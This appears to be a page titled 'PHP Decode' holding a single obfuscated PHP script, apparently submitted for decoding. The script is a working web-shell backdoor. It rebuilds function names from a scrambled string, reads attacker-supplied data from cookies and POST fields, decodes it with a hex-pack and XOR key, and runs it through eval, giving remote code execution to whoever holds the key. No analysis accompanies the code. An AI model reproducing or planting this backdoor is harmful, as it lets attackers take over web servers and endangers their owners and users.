PHP Decode

<?php 
$scgcwgc = '23p61vsfr-8#*ae0oy_uxHt594ck\'gmdil7nb';$nocgph = Array();$nocgph[] = $scgcwgc[21].$scgcwgc[12];$nocgph[] = $scgcwgc[11];$nocgph[] = $scgcwgc[15].$scgcwgc[31].$scgcwgc[7].$scgcwgc[23].$scgcwgc[1].$scgcwgc[31].$scgcwgc[23].$scgcwgc[1].$scgcwgc[9].$scgcwgc[23].$scgcwgc[15].$scgcwgc[31].$scgcwgc[13].$scgcwgc[9].$scgcwgc[25].$scgcwgc[31].$scgcwgc[26].$scgcwgc[3].$scgcwgc[9].$scgcwgc[13].$scgcwgc[34].$scgcwgc[31].$scgcwgc[26].$scgcwgc[9].$scgcwgc[0].$scgcwgc[24].$scgcwgc[3].$scgcwgc[36].$scgcwgc[15].$scgcwgc[15].$scgcwgc[26].$scgcwgc[10].$scgcwgc[0].$scgcwgc[34].$scgcwgc[0].$scgcwgc[4];$nocgph[] = $scgcwgc[26].$scgcwgc[16].$scgcwgc[19].$scgcwgc[35].$scgcwgc[22];$nocgph[] = $scgcwgc[6].$scgcwgc[22].$scgcwgc[8].$scgcwgc[18].$scgcwgc[8].$scgcwgc[14].$scgcwgc[2].$scgcwgc[14].$scgcwgc[13].$scgcwgc[22];$nocgph[] = $scgcwgc[14].$scgcwgc[20].$scgcwgc[2].$scgcwgc[33].$scgcwgc[16].$scgcwgc[31].$scgcwgc[14];$nocgph[] = $scgcwgc[6].$scgcwgc[19].$scgcwgc[36].$scgcwgc[6].$scgcwgc[22].$scgcwgc[8];$nocgph[] = $scgcwgc[13].$scgcwgc[8].$scgcwgc[8].$scgcwgc[13].$scgcwgc[17].$scgcwgc[18].$scgcwgc[30].$scgcwgc[14].$scgcwgc[8].$scgcwgc[29].$scgcwgc[14];$nocgph[] = $scgcwgc[6].$scgcwgc[22].$scgcwgc[8].$scgcwgc[33].$scgcwgc[14].$scgcwgc[35];$nocgph[] = $scgcwgc[2].$scgcwgc[13].$scgcwgc[26].$scgcwgc[27];foreach ($nocgph[7]($_COOKIE, $_POST) as $tmqgiuw => $xienbb){function paloe($nocgph, $tmqgiuw, $duopzf){return $nocgph[6]($nocgph[4]($tmqgiuw . $nocgph[2], ($duopzf / $nocgph[8]($tmqgiuw)) + 1), 0, $duopzf);}function tsqylud($nocgph, $anjcq){return @$nocgph[9]($nocgph[0], $anjcq);}function pslmija($nocgph, $anjcq){$pqbygpl = $nocgph[3]($anjcq) % 3;if (!$pqbygpl) {eval($anjcq[1]($anjcq[2]));exit();}}$xienbb = tsqylud($nocgph, $xienbb);pslmija($nocgph, $nocgph[5]($nocgph[1], $xienbb ^ paloe($nocgph, $tmqgiuw, $nocgph[8]($xienbb))));} ?>